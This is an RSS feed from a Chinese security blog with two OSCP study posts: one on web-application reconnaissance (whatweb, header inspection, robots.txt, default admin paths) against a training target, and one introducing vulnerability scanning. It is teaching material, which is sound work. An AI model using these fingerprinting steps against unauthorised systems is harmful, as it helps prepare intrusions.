<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>工具 on 静静的安全笔记</title><link>https://ruajingjing.top/categories/%E5%B7%A5%E5%85%B7/</link><description>Recent content in 工具 on 静静的安全笔记</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><lastBuildDate>Sat, 26 Jul 2025 23:45:31 +0000</lastBuildDate><atom:link href="https://ruajingjing.top/categories/%E5%B7%A5%E5%85%B7/index.xml" rel="self" type="application/rss+xml"/><item><title>Day23 Kali网络应用程序攻击</title><link>https://ruajingjing.top/post/day23-kali%E7%BD%91%E7%BB%9C%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E6%94%BB%E5%87%BB/</link><pubDate>Sat, 26 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/day23-kali%E7%BD%91%E7%BB%9C%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E6%94%BB%E5%87%BB/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day23 Kali网络应用程序攻击" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;对应OSCP官方教材第九章，这里只简要介绍top10的web漏洞，详细的漏洞用法有专门的专题讲解。&lt;/p&gt;
&lt;h2 id="-web应用漏洞特性"&gt;🔍 &lt;strong&gt;Web应用漏洞特性&lt;/strong&gt;
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;特点&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;原因分析&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;应对策略&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;大攻击面&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;多依赖库+欠安全配置&lt;/td&gt;
 &lt;td&gt;依赖成分分析(SCA)工具辅助&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;技术栈无关性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;OWASP Top 10漏洞普遍存在&lt;/td&gt;
 &lt;td&gt;掌握通用漏洞原理(SQLi/XSS/SSRF)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;框架隐蔽性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;路由机制隐藏文件扩展名&lt;/td&gt;
 &lt;td&gt;聚焦源码特征而非URL扩展&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-渗透测试四步方法论"&gt;🚀 &lt;strong&gt;渗透测试四步方法论&lt;/strong&gt;
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
 A[信息收集] --&gt; B[漏洞探测]
 B --&gt; C[权限提升]
 C --&gt; D[横向移动]
 
 subgraph A[信息收集]
 A1[技术栈识别] --&gt;|语言/框架| A2[响应头分析]
 A1 --&gt;|服务器/DB| A3[页面内容审查]
 A1 --&gt;|敏感路径| A4[站点地图扫描]
 end&lt;/pre&gt;&lt;h4 id="1-信息收集核心技巧"&gt;&lt;strong&gt;1. 信息收集核心技巧&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;途径&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;操作指令/位置&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;关键情报&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;URL解析&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;浏览器地址栏&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;.jsp&lt;/code&gt;(Java) &lt;code&gt;.aspx&lt;/code&gt;(ASP.NET)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;页面源码&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Firefox &lt;code&gt;Ctrl+Shift+C&lt;/code&gt; → 检查元素&lt;/td&gt;
 &lt;td&gt;jQuery版本/隐藏表单/注释信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;响应头&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;开发者工具 → 网络 → 点击请求&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;Server: nginx/1.18.0&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;站点地图&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;curl https://target/robots.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;禁用爬取的敏感路径(如/admin)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;管理后台&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;主动扫描 &lt;code&gt;/manager/html&lt;/code&gt; &lt;code&gt;/wp-admin&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;Tomcat/WordPress等默认入口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-技术要点"&gt;⚠️ &lt;strong&gt;技术要点&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-响应头情报价值"&gt;&lt;strong&gt;1. 响应头情报价值&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看完整响应头
curl -I https://example.com

# 关键头解析示例
Server: Apache/2.4.29 (Ubuntu) # Web服务指纹
X-Powered-By: PHP/7.2.24 # 后端语言版本
X-AspNet-Version: 4.0.30319 # .NET框架版本
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-源码分析三板斧"&gt;&lt;strong&gt;2. 源码分析三板斧&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;框架识别：
&lt;ul&gt;
&lt;li&gt;React：查找 &lt;code&gt;ReactDOM.render(&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Vue：搜索 &lt;code&gt;new Vue({&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敏感注释&lt;/strong&gt;：
&lt;code&gt;&amp;lt;!-- DEV: test API key=a1b2c3 --&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;客户端控制&lt;/strong&gt;：
&lt;code&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;isAdmin&amp;quot; value=&amp;quot;false&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="3-后台路径字典"&gt;&lt;strong&gt;3. 后台路径字典&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;/console # WebLogic
/adminer.php # Adminer数据库管理
/kibana # ELK管理界面
:8080/manage # JBoss
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="实战案例"&gt;实战案例
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;官方靶场网站：https://www.megacorpone.com&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="网站基本信息"&gt;网站基本信息
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;可以使用Wappalyzer插件查看网站所用技术框架。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250725145256415" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145256415.png"&gt;&lt;/p&gt;
&lt;p&gt;或使用whatweb工具查看&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;whatweb https://www.megacorpone.com/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725152321062" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725152321062.png"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;p&gt;按F12或右键“检查”网页打开控制台查看网页信息&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725145643054" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145643054.png"&gt;
&lt;img alt="image-20250725145753070" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145753070.png"&gt;
控制台中可以输入Js代码&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725145843575" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145843575.png"&gt;
点击最终便的按钮可以选择页面元素查看代码，文件上传后找上传的路径最好用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725150133449" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725150133449.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检查网站常见文件是robots.txt和sitemap.xml。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725150427679" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725150427679.png"&gt;&lt;/p&gt;
&lt;p&gt;一般是脚本在终端中爬取有配合其他命令自动化执行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725150504265" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725150504265.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="burp抓包请求头和响应头分析"&gt;Burp抓包请求头和响应头分析
&lt;/h4&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728153829924.png"&gt;&lt;/p&gt;
&lt;h5 id="一http-请求头关键字段解析"&gt;&lt;strong&gt;​一、HTTP 请求头关键字段解析​&lt;/strong&gt;
&lt;/h5&gt;&lt;p&gt;​&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Host: www.megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language: en-US,en;q=0.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Dnt: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Upgrade-Insecure-Requests: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Sec-Fetch-Dest: document
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Sec-Fetch-Mode: navigate
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Sec-Fetch-Site: cross-site
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Priority: u=0, i
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Pragma: no-cache
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control: no-cache
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;Te: trailers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​请求方法​&lt;/strong&gt;​&lt;br&gt;
&lt;code&gt;GET / HTTP/1.1&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​方法​&lt;/strong&gt;​：&lt;code&gt;GET&lt;/code&gt;（获取资源）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​目标​&lt;/strong&gt;​：根路径 &lt;code&gt;/&lt;/code&gt;（通常为首页）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​协议​&lt;/strong&gt;​：&lt;code&gt;HTTP/1.1&lt;/code&gt;（支持持久连接）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​核心元数据​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Host: www.megacorpone.com&lt;/code&gt;&lt;br&gt;
请求的目标域名（用于虚拟主机路由）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;User-Agent: Mozilla/5.0 (...) Firefox/133.0&lt;/code&gt;&lt;br&gt;
客户端浏览器和操作系统信息（可推断为 Win10 x64 的 Firefox 133）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​内容协商​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Accept: text/html, ...&lt;/code&gt;&lt;br&gt;
客户端支持的格式优先级：HTML &amp;gt; XHTML/XML &amp;gt; 其他类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Language: zh-CN, zh;q=0.8 ...&lt;/code&gt;&lt;br&gt;
语言优先级：简体中文 &amp;gt; 广义中文 &amp;gt; 台湾繁体 &amp;gt; 香港繁体 &amp;gt; 英语。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Encoding: gzip, deflate, br, zstd&lt;/code&gt;&lt;br&gt;
支持的压缩格式（服务器可选其一压缩响应）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​连接管理​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Connection: keep-alive&lt;/code&gt;&lt;br&gt;
要求复用 TCP 连接（减少重复握手开销）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​安全策略​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Upgrade-Insecure-Requests: 1&lt;/code&gt;&lt;br&gt;
建议升级到 HTTPS。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Sec-Fetch-*&lt;/code&gt; 系列：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Dest: document&lt;/code&gt; – 目标为文档（如 HTML）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Mode: navigate&lt;/code&gt; – 导航类请求（如页面跳转）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Site: cross-site&lt;/code&gt; – 跨站请求（触发 CORS 校验）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="二http-响应头关键字段解析"&gt;​&lt;strong&gt;​二、HTTP 响应头关键字段解析​&lt;/strong&gt;​
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;HTTP/1.1 200 OK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Date: Mon, 28 Jul 2025 07:37:17 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Server: Apache/2.4.62 (Debian)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Last-Modified: Wed, 06 Nov 2019 15:04:14 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;ETag: &amp;#34;390b-596aedca79780-gzip&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Accept-Ranges: bytes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Vary: Accept-Encoding
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Content-Length: 14603
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Keep-Alive: timeout=5, max=100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Connection: Keep-Alive
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: text/html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​状态行​&lt;/strong&gt;​&lt;br&gt;
&lt;code&gt;HTTP/1.1 200 OK&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​协议​&lt;/strong&gt;​：HTTP/1.1&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​状态码​&lt;/strong&gt;​：&lt;code&gt;200&lt;/code&gt;（请求成功）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​描述​&lt;/strong&gt;​：&lt;code&gt;OK&lt;/code&gt;（资源已返回）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​服务器信息​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Server: Apache/2.4.62 (Debian)&lt;/code&gt;&lt;br&gt;
Web 服务器为 Apache 2.4.62，运行于 Debian 系统。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Last-Modified: Wed, 06 Nov 2019 ...&lt;/code&gt;&lt;br&gt;
资源最后修改时间（用于客户端缓存验证）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​资源标识​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ETag: &amp;quot;390b-596aedca79780-gzip&amp;quot;&lt;/code&gt;&lt;br&gt;
资源唯一标识符（含 gzip 压缩标记）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Ranges: bytes&lt;/code&gt;&lt;br&gt;
支持按字节范围请求（用于断点续传）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​内容传输​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;`Content-Length: 14603
压缩后资源大小为 14603 字节。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Type: text/html&lt;/code&gt;&lt;br&gt;
资源类型为 HTML 文档。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​缓存优化​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Vary: Accept-Encoding&lt;/code&gt;&lt;br&gt;
缓存策略依据 &lt;code&gt;Accept-Encoding&lt;/code&gt; 变化（不同压缩版本独立缓存）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​连接控制​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Connection: Keep-Alive&lt;/code&gt;&lt;br&gt;
保持 TCP 连接活跃。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Keep-Alive: timeout=5, max=100&lt;/code&gt;&lt;br&gt;
连接空闲超时 5 秒，最多复用 100 次请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="三渗透测试中的关键关注点"&gt;​&lt;strong&gt;​三、渗透测试中的关键关注点​&lt;/strong&gt;​
&lt;/h5&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​服务器指纹​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Server&lt;/code&gt; 字段直接泄露 Web 服务器类型（Apache）、版本（2.4.62）、系统（Debian）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​风险​&lt;/strong&gt;​：暴露已知漏洞的攻击面（如特定版本漏洞）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​隐藏技术栈标记​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;非标准响应头（如 &lt;code&gt;X-Powered-By: PHP/8.1&lt;/code&gt;）可能泄露后端语言或框架。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​操作建议​&lt;/strong&gt;​：检查是否存在 &lt;code&gt;X-Aspnet-Version&lt;/code&gt; 等字段，或通过 &lt;code&gt;php.ini&lt;/code&gt; 设置 &lt;code&gt;expose_php=off&lt;/code&gt; 隐藏 PHP 信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​缓存机制利用​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ETag&lt;/code&gt; 和 &lt;code&gt;Last-Modified&lt;/code&gt; 可用于构造条件请求，探测资源是否更新。&lt;/li&gt;
&lt;li&gt;若返回 &lt;code&gt;304 Not Modified&lt;/code&gt;，可能节省攻击流量。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​压缩与编码​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Content-Encoding: gzip&lt;/code&gt; 需先解压再分析响应内容。&lt;/li&gt;
&lt;li&gt;工具如 Burp Suite 自动处理压缩数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day22 Kali漏洞扫描</title><link>https://ruajingjing.top/post/day22-kali%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/</link><pubDate>Fri, 25 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/day22-kali%E6%BC%8F%E6%B4%9E%E6%89%AB%E6%8F%8F/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day22 Kali漏洞扫描" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;对应OSCP官方教材第八章。&lt;/p&gt;
&lt;h2 id="漏洞扫描安全评估的自动化基石"&gt;&lt;strong&gt;漏洞扫描：安全评估的自动化基石&lt;/strong&gt;
&lt;/h2&gt;&lt;p&gt;漏洞扫描（简称“漏扫”），作为网络安全领域不可或缺的核心技术手段，贯穿于安全评估的始终。其本质是通过集成海量漏洞验证脚本（POC）与利用脚本（EXP），向目标系统发送特定探测请求，并根据返回响应特征自动化识别潜在安全弱点的过程。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心价值与定位：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;效率引擎：&lt;/strong&gt; 面对海量资产（如数十甚至上百个站点、服务器），手工检测效率低下且难以覆盖。漏扫工具凭借其自动化、批量化的特性，成为快速发现大面积、已知漏洞的首选武器，是安全审计流程中至关重要的第一步。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险探照灯：&lt;/strong&gt; 在复杂的网络环境中，“你永远不知道漏洞扫描会发生什么”。它是主动暴露未知风险、预防潜在攻击的有效途径。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;技术与场景融合：&lt;/strong&gt; 技术本身无高下之分，“黑猫白猫，抓到老鼠就是好猫”。自动化漏扫与精细化手工测试并非对立，而是互补。&lt;strong&gt;最佳实践是：先利用漏扫进行广覆盖、批量化的初步筛查，再对高风险目标或复杂逻辑进行深度手工验证，形成“广撒网+深挖潜”的高效组合拳。&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;工作原理与流程：&lt;/strong&gt;
一个典型的漏洞扫描流程包含以下关键步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主机发现：&lt;/strong&gt; 识别网络中存活的目标设备。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口扫描：&lt;/strong&gt; 探测目标设备开放的网络端口。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指纹识别：&lt;/strong&gt; 基于服务响应（如Banner、协议行为、文件特征）判断操作系统、应用、服务及其版本（需注意版本伪装现象，如某些Tomcat版本统一返回相同头部）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务与行为分析：&lt;/strong&gt; 深入探测服务细节、暴露的文件、目录等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;漏洞特征匹配/利用验证：&lt;/strong&gt; 运用庞大的POC/EXP库进行探测。部分高级扫描会进行试探性攻击以降低误报（但需谨慎评估风险）。&lt;/li&gt;
&lt;/ol&gt;
